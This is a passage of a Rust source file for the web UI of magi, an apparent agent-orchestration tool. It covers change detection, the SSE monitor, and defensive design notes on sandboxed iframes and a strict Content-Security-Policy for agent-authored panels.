Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # Independent scheduler
72//!
73//! `/api/loop` starts and controls a detached scheduler. Replacing or closing
74//! the web process does not stop that scheduler or its task/chat workers.
75//! Stop ends scheduling; explicit park additionally asks task workers to stop
76//! at their next node boundary. Updating never requests a park.
77
78mod dependencies;
79#[cfg(test)]
80pub(crate) mod request_cost;
81
82use std::collections::{HashMap, HashSet};
83use std::convert::Infallible;
84use std::net::{IpAddr, Ipv4Addr, SocketAddr};
85use std::path::{Path as FsPath, PathBuf};
86use std::pin::Pin;
87use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
88use std::time::Duration;
89use tokio::sync::Notify;
90
91use anyhow::{Context, Result};
92use axum::Json;
93use axum::Router;
94use axum::body::Bytes;
95use axum::extract::rejection::JsonRejection;
96use axum::extract::{DefaultBodyLimit, Path, Query, State};
97use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
98use axum::response::sse::{Event, KeepAlive, Sse};
99use axum::response::{IntoResponse, Response};
100use axum::routing::{get, post, put};
101use jiff::Timestamp;
102use serde::{Deserialize, Serialize};
103use tokio_stream::StreamExt as _;
104use tokio_stream::wrappers::ReceiverStream;
105
106use crate::agent;
107use crate::ask::{self, Answer, Question, Questions};
108use crate::config::{AgentKind, Config, Update, UpdateMode};
109use crate::md;
110use crate::notices::{Notice, Notices};
111use crate::persona;
112use crate::persona_icon;
113use crate::proc::Quiet as _;
114use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
115use crate::run::{RunState, RunStatus};
116use crate::talk::{Talk, Talks};
117use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
118
119/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
120pub const DEFAULT_PORT: u16 = 7878;
121
122/// How often the change stream restats the queue and the runs directory.
123const POLL: Duration = Duration::from_secs(1);
124
125/// Keep-alive interval for the change stream. Phones and intermediaries drop
126/// an idle connection within a minute; a comment every fifteen seconds keeps
127/// the stream alive without waking the radio often enough to matter.
128const KEEPALIVE: Duration = Duration::from_secs(15);
129
130/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
131///
132/// A fixed period this long would not track a `[update] interval` shorter
133/// than itself: an operator who set `interval = "1m"` to make the deck
134/// notice a release within a minute would still wait up to fifteen of them
135/// for the next wake-up to even ask [`updater::Checker::should_check`].
136/// [`recheck_poll_period`] scales the sleep with the configured interval
137/// instead, and this is only its ceiling - reached at the default interval
138/// of a day, where waking any more often would just spend cycles asking a
139/// question that stays "no" for hours.
140const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
141
142/// Floor on the same, so a very short `[update] interval` cannot spin
143/// [`run_update_recheck`] in a near-busy loop.
144const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
145
146/// Runs returned when the client does not ask, and the ceiling if it asks for
147/// more. The cap exists because the list handler parses every `run.json` it
148/// returns, and a phone cannot render two thousand rows anyway.
149const LIST_DEFAULT: usize = 50;
150/// Upper bound for `?limit=`.
151const LIST_MAX: usize = 500;
152
153/// Width of a generated task title, matching what the CLI uses.
154const TITLE_MAX: usize = 72;
155
156/// Per-file cap for an attachment upload.
157///
158/// Enforced twice: axum's own body limit is raised one byte above this, only
159/// on the two attachment `POST` routes (see the router - every other route
160/// keeps the crate-wide default), so an oversize body is still read far
161/// enough to answer with our own message below rather than axum's generic
162/// one; this constant is what that message and the boundary check actually
163/// compare against.
164const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
165
166/// The image types an attachment upload accepts - a closed whitelist, the
167/// same posture [`asset_content_type`] takes for panel assets and for the
168/// same reason: SVG is excluded on purpose because it is active content
169/// (it may carry `<script>`) and not merely a picture, so it never appears
170/// here even though `image/svg+xml` is a real IANA type.
171const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
172
173/// Header carrying the operator's own filename. Free text, stored only for
174/// display - see [`talk::Attachment::name`]'s doc on why it never
175/// contributes to a path.
176const FILENAME_HEADER: &str = "x-filename";
177
178/// The header that makes serving agent-authored HTML defensible, sent by both
179/// panel routes and asserted verbatim by a test.
180///
181/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
182/// denies every fetch destination that is not re-allowed below, which is all of
183/// them except images and fonts; `img-src 'self' data:` means an image comes
184/// from magi's own asset route or from the document itself, so a panel cannot
185/// signal an outside server by pointing an `<img>` at it - the classic
186/// exfiltration channel for markup that cannot run script. `style-src
187/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
188/// free formatting means here and a style sheet cannot make a request that
189/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
190/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
191/// stops a form posting the owner's decision to a third party, and
192/// `frame-ancestors 'self'` stops another site framing the panel to phish with
193/// it.
194///
195/// There is deliberately no `script-src`: `default-src 'none'` already covers
196/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
197/// denied twice over. Weakening any directive here is the difference between a
198/// panel the owner reads and a page that can talk to the tailnet, which is why
199/// the test compares the whole string rather than looking for a substring.
200const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
201                         font-src data:; base-uri 'none'; form-action 'none'; \
202                         frame-ancestors 'self'";
203
204const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
205const APP_CSS: &str = include_str!("../assets/ui/app.css");
206const APP_JS: &str = include_str!("../assets/ui/app.js");
207
208/// Which address to listen on.
209#[derive(Debug, Clone, Copy, PartialEq, Eq)]
210pub enum Bind {
211    /// Ask Tailscale, and fall back to loopback with a warning.
212    Auto,
213    /// An address the operator named.
214    Addr(IpAddr),
215}
216
217impl std::str::FromStr for Bind {
218    type Err = String;
219
220    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
221    /// the CLI can take `--bind` straight into it: the one spelling of
222    /// `auto` that matters is the one this function knows.
223    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
224        if s.eq_ignore_ascii_case("auto") {
225            return Ok(Self::Auto);
226        }
227        s.parse()
228            .map(Self::Addr)
229            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
230    }
231}
232
233impl std::fmt::Display for Bind {
234    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
235        match self {
236            Self::Auto => f.write_str("auto"),
237            Self::Addr(addr) => write!(f, "{addr}"),
238        }
239    }
240}
241
242/// How to serve.
243#[derive(Debug, Clone)]
244pub struct Opts {
245    /// Address to listen on.
246    pub bind: Bind,
247    /// Port to listen on.
248    pub port: u16,
249    /// Repository used for tasks posted without one.
250    pub repo: PathBuf,
251    /// Print the URL on its own line for a caller that wants to hand it to a
252    /// browser. magi never launches one itself.
253    pub open: bool,
254    /// Merge mode override for the independent scheduler (`none`, `local`,
255    /// `pr`); `None` leaves it to each repository's own config.
256    ///
257    /// The same override as `magi serve --merge`, passed when the phone starts
258    /// dispatch without requiring a terminal.
259    pub merge: Option<String>,
260}
261
262impl Default for Opts {
263    fn default() -> Self {
264        Self {
265            bind: Bind::Auto,
266            port: DEFAULT_PORT,
267            repo: PathBuf::from("."),
268            open: false,
269            merge: None,
270        }
271    }
272}
273
274mod id_links;
275
276type Stamps = HashMap<String, (u128, u64)>;
277
278/// Metadata only: no task instructions or conversation bodies are read here.
279fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
280    try_store_stamps(root, runs).unwrap_or_default()
281}
282
283fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
284    try_stamps(root, runs, false)
285}
286
287fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
288    use std::hash::{Hash as _, Hasher as _};
289    let entries = match std::fs::read_dir(root) {
290        Ok(entries) => entries,
291        Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
292        Err(e) => return Err(e),
293    };
294    let mut stamps = HashMap::new();
295    for entry in entries {
296        let entry = entry?;
297        let path = if runs {
298            entry.path().join("run.json")
299        } else {
300            entry.path()
301        };
302        if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
303            continue;
304        }
305        let identity = match file_identity(&path) {
306            Ok(identity) => identity,
307            Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
308            Err(e) => return Err(e),
309        };
310        let modified = identity
311            .modified
312            .duration_since(std::time::UNIX_EPOCH)
313            .unwrap_or_default();
314        let mut hasher = std::hash::DefaultHasher::new();
315        identity.hash(&mut hasher);
316        let id = if runs || all_entries {
317            entry.file_name().to_string_lossy().into_owned()
318        } else {
319            path.file_stem()
320                .unwrap_or_default()
321                .to_string_lossy()
322                .into_owned()
323        };
324        stamps.insert(id, (modified.as_nanos(), hasher.finish()));
325    }
326    Ok(stamps)
327}
328
329#[derive(Debug, Serialize)]
330struct Delta {
331    base: u64,
332    changed: Vec<String>,
333    removed: Vec<String>,
334}
335
336fn notice_and_decision_stamps(ui: &Ui) -> std::io::Result<Stamps> {
337    let mut stamps = try_stamps(ui.notices.root(), false, true)?;
338    let inquiries = ui.home.join("notifications").join("task-inquiries");
339    for (id, stamp) in try_stamps(&inquiries, false, false)? {
340        stamps.insert(format!("decision:{id}"), stamp);
341    }
342    Ok(stamps)
343}
344
345fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
346    let mut changed: Vec<_> = next
347        .iter()
348        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
349        .map(|(id, _)| id.clone())
350        .collect();
351    let mut removed: Vec<_> = previous
352        .keys()
353        .filter(|id| !next.contains_key(*id))
354        .cloned()
355        .collect();
356    changed.sort_unstable();
357    removed.sort_unstable();
358    Delta {
359        base,
360        changed,
361        removed,
362    }
363}
364
365/// Change detection token for recorded runs under `runs`.
366#[cfg(test)]
367fn runs_revision(runs: &FsPath) -> u64 {
368    stamps_revision(&store_stamps(runs, true))
369}
370
371/// Opaque tokens use the exact metadata snapshot behind the delta, in both
372/// health and SSE. Nanoseconds and length also detect same-millisecond writes
373/// and deleting an older conversation (a newest-mtime token cannot do that).
374fn stamps_revision(stamps: &Stamps) -> u64 {
375    use std::hash::{Hash as _, Hasher as _};
376    if stamps.is_empty() {
377        return 0;
378    }
379    let mut entries: Vec<_> = stamps.iter().collect();
380    entries.sort_unstable();
381    let mut hasher = std::hash::DefaultHasher::new();
382    entries.hash(&mut hasher);
383    hasher.finish().max(1)
384}
385
386#[derive(Clone, Debug)]
387pub(crate) struct ChangeNotification {
388    pub payload: serde_json::Value,
389}
390
391#[derive(Default, Debug)]
392pub(crate) struct QueueIndex {
393    // Retain parsed records only while their file identity is unchanged.
394    records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
395    #[cfg(test)]
396    reparsed: usize,
397}
398
399#[derive(Clone, Debug)]
400struct TaskRelation {
401    id: String,
402    status: Option<crate::queue::TaskStatus>,
403    priority: i32,
404    runs: Vec<String>,
405    source: Source,
406    chat: Option<String>,
407}
408
409impl From<Task> for TaskRelation {
410    fn from(task: Task) -> Self {
411        Self {
412            id: task.id,
413            status: Some(task.status),
414            priority: task.priority,
415            runs: task.runs,
416            source: task.source,
417            chat: task.chat,
418        }
419    }
420}
421
422#[derive(Debug, PartialEq, Eq, Hash)]
423struct FileIdentity {
424    modified: std::time::SystemTime,
425    len: u64,
426    #[cfg(unix)]
427    identity: (u64, u64, i64, i64),
428}
429
430fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
431    let meta = path.metadata()?;
432    Ok(FileIdentity {
433        modified: meta.modified()?,
434        len: meta.len(),
435        #[cfg(unix)]
436        identity: {
437            use std::os::unix::fs::MetadataExt as _;
438            (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
439        },
440    })
441}
442
443// Cache bounded goal headers using actual file identity and change time,
444// not just size and write time.
445#[derive(Debug, PartialEq, Eq)]
446struct GoalIdentity {
447    file: FileIdentity,
448    #[cfg(windows)]
449    windows: (u64, [u8; 16], i64),
450}
451
452fn goal_identity(path: &FsPath) -> std::io::Result<GoalIdentity> {
453    #[cfg(windows)]
454    fn windows_identity(path: &FsPath) -> std::io::Result<(u64, [u8; 16], i64)> {
455        use std::os::windows::io::AsRawHandle;
456        #[repr(C)]
457        struct FileId {
458            volume: u64,
459            id: [u8; 16],
460        }
461        #[repr(C)]
462        struct Basic {
463            created: i64,
464            accessed: i64,
465            written: i64,
466            changed: i64,
467            attributes: u32,
468        }
469        #[link(name = "kernel32")]
470        unsafe extern "system" {
471            fn GetFileInformationByHandleEx(
472                file: *mut std::ffi::c_void,
473                class: i32,
474                output: *mut std::ffi::c_void,
475                size: u32,
476            ) -> i32;
477        }
478        let file = std::fs::File::open(path)?;
479        let mut id = std::mem::MaybeUninit::<FileId>::uninit();
480        let mut basic = std::mem::MaybeUninit::<Basic>::uninit();
481        // Both buffers have the layout and size of the requested Win32 structures.
482        unsafe {
483            if GetFileInformationByHandleEx(
484                file.as_raw_handle(),
485                18,
486                id.as_mut_ptr().cast(),
487                std::mem::size_of::<FileId>() as u32,
488            ) == 0
489                || GetFileInformationByHandleEx(
490                    file.as_raw_handle(),
491                    0,
492                    basic.as_mut_ptr().cast(),
493                    std::mem::size_of::<Basic>() as u32,
494                ) == 0
495            {
496                return Err(std::io::Error::last_os_error());
497            }
498            let id = id.assume_init();
499            Ok((id.volume, id.id, basic.assume_init().changed))
500        }
501    }
502    Ok(GoalIdentity {
503        file: file_identity(path)?,
504        #[cfg(windows)]
505        windows: windows_identity(path)?,
506    })
507}
508
509type Revisions = (u64, u64, u64, u64, u64, u64);
510type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
511
512#[derive(Debug)]
513pub(crate) struct SharedMonitor {
514    pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
515    pub latest: Arc<Mutex<MonitorSnapshot>>,
516    pub worker_started: std::sync::atomic::AtomicBool,
517    pub queue_index: Arc<Mutex<QueueIndex>>,
518    list_walks: Mutex<Vec<ListWalk>>,
519    disk: Arc<Mutex<DiskObservation>>,
520    health_index: Mutex<HealthIndex>,
521    disk_cache: Mutex<DiskCache>,
522    talk_index: Mutex<HashMap<String, (FileIdentity, TalkListView)>>,
523    talk_status_index: Mutex<TalkStatusIndex>,
524    closed_goal_index: Mutex<HashMap<String, (GoalIdentity, bool)>>,
525    /// Conversation status evidence, rebuilt only when a source store moved.
526    chat_inventory: Mutex<Option<(Revisions, Arc<crate::chat_status::Inventory>)>>,
527    chat_sources_unreadable: std::sync::atomic::AtomicBool,
528    bulk_slots: Arc<tokio::sync::Semaphore>,
529    talk_core_slots: Arc<tokio::sync::Semaphore>,
530    #[cfg(test)]
531    talk_parses: std::sync::atomic::AtomicUsize,
532}
533
534/// Request-time indexes retain projections, never transcripts or whole runs.
535#[derive(Debug, Default)]
536struct HealthIndex {
537    runs: HashMap<String, (FileIdentity, bool)>,
538    questions: Option<QuestionCounts>,
539    notices: Option<(u64, usize)>,
540    #[cfg(test)]
541    run_parses: usize,
542}
543
544/// Membership classification retains no transcript data, including for closed
545/// history that has never been requested. Cache unreadable files too.
546#[derive(Debug, Default)]
547struct TalkStatusIndex {
548    records: HashMap<String, (FileIdentity, Option<talk::TalkStatus>)>,
549    #[cfg(test)]
550    parses: usize,
551}
552
553/// Talk's serializer writes status before turns. Stop deserializing as soon as
554/// that header is available; do not validate or traverse the transcript here.
555/// Noncanonical headers are bounded too and conservatively included in the
556/// initial page, where the ordinary row reader validates their actual status.
557fn read_talk_status(reader: impl std::io::Read) -> Option<talk::TalkStatus> {
558    use serde::de::{IgnoredAny, MapAccess, Visitor};
559
560    struct StatusHeader<'a>(&'a mut Option<talk::TalkStatus>);
561    impl<'de> Visitor<'de> for StatusHeader<'_> {
562        type Value = ();
563
564        fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
565            f.write_str("a conversation header")
566        }
567
568        fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<Self::Value, A::Error> {
569            while let Some(key) = map.next_key::<String>()? {
570                match key.as_str() {
571                    "status" => {
572                        *self.0 = Some(map.next_value()?);
573                        return Err(serde::de::Error::custom("conversation header complete"));
574                    }
575                    "turns" => {
576                        *self.0 = Some(talk::TalkStatus::Open);
577                        return Err(serde::de::Error::custom("noncanonical conversation header"));
578                    }
579                    _ => {
580                        map.next_value::<IgnoredAny>()?;
581                    }
582                }
583            }
584            Ok(())
585        }
586    }
587
588    // At most one KiB of read-ahead for canonical files, and a fixed maximum
589    // even for an oversized header. Do not call Deserializer::end: the rest of
590    // the document deliberately belongs to the paged row reader.
591    let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
592    let mut json = serde_json::Deserializer::from_reader(reader);
593    let mut status = None;
594    // The visitor deliberately signals completion with an error, avoiding the
595    // deserializer's normal closing-brace check on the unfinished object.
596    let result = serde::Deserializer::deserialize_map(&mut json, StatusHeader(&mut status));
597    status.or_else(|| match result {
598        Ok(()) => Some(talk::TalkStatus::Open),
599        Err(error) if error.is_eof() => Some(talk::TalkStatus::Open),
600        Err(_) => None,
601    })
602}
603
604fn open_talk_ids(ui: &Ui, ids: &[String]) -> std::collections::HashSet<String> {
605    // Without inode/ctime, same-size writes can retain the same timestamp.
606    // Re-read the bounded header rather than reuse an unprovable classification.
607    open_talk_ids_with(ui, ids, cfg!(unix), |path| {
608        std::fs::File::open(path).ok().and_then(read_talk_status)
609    })
610}
611
612fn open_talk_ids_with(
613    ui: &Ui,
614    ids: &[String],
615    cache_identity: bool,
616    mut read_status: impl FnMut(&FsPath) -> Option<talk::TalkStatus>,
617) -> std::collections::HashSet<String> {
618    let mut index = ui
619        .monitor
620        .talk_status_index
621        .lock()
622        .unwrap_or_else(PoisonError::into_inner);
623    let present: std::collections::HashSet<_> = ids.iter().collect();
624    index.records.retain(|id, _| present.contains(id));
625    let mut open = std::collections::HashSet::new();
626    for id in ids {
627        let Ok(identity) = file_identity(&ui.talks.path_of(id)) else {
628            index.records.remove(id);
629            continue;
630        };
631        let status = if cache_identity
632            && let Some((old, status)) = index.records.get(id)
633            && *old == identity
634        {
635            *status
636        } else {
637            let status = read_status(&ui.talks.path_of(id));
638            #[cfg(test)]
639            {
640                index.parses += 1;
641            }
642            if cache_identity
643                && file_identity(&ui.talks.path_of(id)).is_ok_and(|after| after == identity)
644            {
645                index.records.insert(id.clone(), (identity, status));
646            } else {
647                index.records.remove(id);
648            }
649            status
650        };
651        if status == Some(talk::TalkStatus::Open) {
652            open.insert(id.clone());
653        }
654    }
655    open
656}
657
658/// Live stamps invalidate counts immediately; the TTL also refreshes lease state.
659const QUESTION_COUNTS_TTL: Duration = Duration::from_secs(10);
660
661#[derive(Debug)]
662struct QuestionCounts {
663    revision: u64,
664    measured: std::time::Instant,
665    open: usize,
666    owner: usize,
667}
668
669#[derive(Debug, Clone)]
670struct DiskSizes {
671    runs: u64,
672    worktrees: u64,
673    cache: Option<u64>,
674}
675
676#[derive(Debug, Default)]
677struct DiskCache {
678    measured: Option<std::time::Instant>,
679    loading: bool,
680    config: Option<Config>,
681    disk: Option<DiskSizes>,
682    update: Option<UpdateView>,
683}
684
685/// Keep a failed store's last observation without suppressing healthy stores.
686fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
687    let (mut rev, mut stamps) = previous.unwrap_or_default();
688    let mut failed = 0u8;
689    for (index, root, runs) in [
690        (0, ui.queue.root(), false),
691        (1, ui.runs.as_path(), true),
692        (2, ui.talks.root(), false),
693    ] {
694        if let Ok(next) = try_store_stamps(root, runs) {
695            let value = stamps_revision(&next);
696            match index {
697                0 => rev.0 = value,
698                1 => rev.1 = value,
699                _ => rev.3 = value,
700            }
701            stamps[index] = next;
702        } else {
703            failed |= 1 << index;
704        }
705    }
706    if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
707        rev.2 = stamps_revision(&next);
708    } else {
709        failed |= 1 << 3;
710    }
711    if let Ok(next) = notice_and_decision_stamps(ui) {
712        rev.4 = stamps_revision(&next);
713    } else {
714        failed |= 1 << 4;
715    }
716    rev.5 = ui.lock_loop().rev;
717    // Live worker ownership can change without any transcript write.
718    use std::hash::{Hash, Hasher};
719    let mut activity = std::collections::hash_map::DefaultHasher::new();
720    rev.3 = stamps_revision(&stamps[2]);
721    rev.3.hash(&mut activity);
722    let mut changed = failed != 0;
723    failed.hash(&mut activity);
724    match crate::worker::observe_active(&ui.home) {
725        Ok(jobs) => {
726            let mut ids: Vec<_> = jobs
727                .iter()
728                .map(|job| (&job.id, job.status == crate::worker::Status::Running))
729                .collect();
730            ids.sort_unstable();
731            changed |= !ids.is_empty();
732            ids.hash(&mut activity);
733        }
734        Err(_) => {
735            changed = true;
736            "unknown workers".hash(&mut activity);
737        }
738    }
739    if let Ok(mut ids) = crate::queue::record_ids(ui.talks.root(), "turn") {
740        ids.retain(|id| ui.talks.turn_held(id));
741        ids.sort_unstable();
742        changed |= !ids.is_empty();
743        ids.hash(&mut activity);
744    }
745    if changed {
746        rev.3 = activity.finish();
747    }
748    ui.monitor
749        .chat_sources_unreadable
750        .store(failed != 0, std::sync::atomic::Ordering::Release);
751    (rev, stamps)
752}
753
754impl SharedMonitor {
755    pub fn new() -> Self {
756        let (tx, _) = tokio::sync::broadcast::channel(64);
757        Self {
758            broadcaster: tx,
759            latest: Arc::default(),
760            worker_started: std::sync::atomic::AtomicBool::new(false),
761            queue_index: Arc::default(),
762            list_walks: Mutex::default(),
763            disk: Arc::default(),
764            health_index: Mutex::default(),
765            disk_cache: Mutex::default(),
766            talk_index: Mutex::default(),
767            talk_status_index: Mutex::default(),
768            closed_goal_index: Mutex::default(),
769            chat_inventory: Mutex::default(),
770            chat_sources_unreadable: std::sync::atomic::AtomicBool::new(false),
771            bulk_slots: Arc::new(tokio::sync::Semaphore::new(2)),
772            talk_core_slots: Arc::new(tokio::sync::Semaphore::new(2)),
773            #[cfg(test)]
774            talk_parses: std::sync::atomic::AtomicUsize::new(0),
775        }
776    }
777
778    async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
779        let mut receiver = self.broadcaster.subscribe();
780        self.ensure_worker(ui);
781        loop {
782            if let Some((revisions, _)) = self
783                .latest
784                .lock()
785                .unwrap_or_else(PoisonError::into_inner)
786                .as_ref()
787            {
788                return Ok(*revisions);
789            }
790            tokio::time::timeout(Duration::from_secs(5), receiver.recv())
791                .await
792                .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
793                .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
794        }
795    }
796
797    pub fn ensure_worker(&self, ui: &Arc<Ui>) {
798        if self
799            .worker_started
800            .compare_exchange(
801                false,
802                true,
803                std::sync::atomic::Ordering::SeqCst,
804                std::sync::atomic::Ordering::SeqCst,
805            )
806            .is_err()
807        {
808            return;
809        }
810
811        let weak_ui = Arc::downgrade(ui);
812        tokio::spawn(async move {
813            let mut ticker = tokio::time::interval(POLL);
814            loop {
815                ticker.tick().await;
816                let Some(ui) = weak_ui.upgrade() else {
817                    break;
818                };
819
820                let previous = ui
821                    .monitor
822                    .latest
823                    .lock()
824                    .unwrap_or_else(PoisonError::into_inner)
825                    .clone();
826                let state = Arc::clone(&ui);
827                let scan =
828                    tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
829
830                // A slow filesystem must not turn missed ticks into a busy loop.
831                ticker.reset();
832                let Ok((revisions, next_stamps)) = scan else {
833                    continue;
834                };
835
836                let mut latest_guard = match ui.monitor.latest.lock() {
837                    Ok(g) => g,
838                    Err(p) => p.into_inner(),
839                };
840
841                let previous = latest_guard.take();
842                let (last_rev, prev_stamps) = match previous {
843                    Some((r, s)) => (Some(r), Some(s)),
844                    None => (None, None),
845                };
846
847                if last_rev == Some(revisions) {
848                    *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
849                    continue;
850                }
851
852                let mut payload = serde_json::json!({
853                    "queue_rev": revisions.0,
854                    "runs_rev": revisions.1,
855                    "questions_rev": revisions.2,
856                    "talks_rev": revisions.3,
857                    "notifications_rev": revisions.4,
858                    "loop_rev": revisions.5,
859                });
860
861                if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
862                    for (index, (key, rev)) in [
863                        ("queue_delta", base.0),
864                        ("runs_delta", base.1),
865                        ("talks_delta", base.3),
866                    ]
867                    .into_iter()
868                    .enumerate()
869                    {
870                        // Talk revisions also contain live ownership evidence.
871                        // A transcript-only delta cannot describe that change.
872                        if index == 2
873                            && (base.3 != stamps_revision(&prev[index])
874                                || revisions.3 != stamps_revision(&next_stamps[index]))
875                        {
876                            continue;
877                        }
878                        let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
879                        if delta.changed.len() + delta.removed.len() > 0
880                            && delta.changed.len() <= 50
881                        {
882                            payload[key] = serde_json::to_value(delta).expect("serializable delta");
883                        }
884                    }
885                }
886
887                *latest_guard = Some((revisions, next_stamps));
888                drop(latest_guard);
889
890                let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
891            }
892        });
893    }
894}
895
896/// Everything the handlers touch.
897///
898/// The queue, the runs directory and the magi home are fields rather than
899/// process-global lookups so a test drives the real router against a temp
900/// directory instead of the operator's own history.
901#[derive(Debug, Clone)]
902pub struct Ui {
903    queue: Queue,
904    questions: Questions,
905    /// `<home>/notifications`, the bell's own store. Derived from `home` in
906    /// [`Ui::new`] so no constructor signature had to grow.
907    notices: Notices,
908    talks: Talks,
909    runs: PathBuf,
910    references: Arc<id_links::IndexCache>,
911    home: PathBuf,
912    repo: PathBuf,
913    /// Where the runs' worktrees live, for the health disk figures.
914    ///
915    /// Spelled independently of [`crate::run::default_worktree_root`] so the
916    /// test servers can point it at their own temp directory: the health route
917    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
918    /// be measuring the machine instead of the server.
919    worktrees_root: PathBuf,
920    /// Talks with an agent turn in flight right now.
921    ///
922    /// In-process and therefore not durable, which is correct: it guards
923    /// against two taps on one phone and two phones on one tailnet, both of
924    /// which are this process's own concurrency. A second `magi web` would not
925    /// see it, and a second `magi web` on the same home is already a
926    /// misconfiguration the queue's claims would catch first.
927    talk_turns: Arc<Mutex<TalkTurns>>,
928    /// Short persistence-to-worker-publication transactions only, never agent
929    /// execution. A handover closes admission before it releases the runtime.
930    admissions: Arc<tokio::sync::RwLock<bool>>,
931    /// Held by `POST /api/upgrade` from its busy-stage check until the first
932    /// progress record is written, so two taps cannot both start an upgrade.
933    /// After that `upgrade.json` carries the exclusion.
934    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
935    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
936    /// exclusion in memory for when `upgrade.json` could not be written.
937    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
938    /// Request failures before progress exists; never overwrite upgrade.json.
939    upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
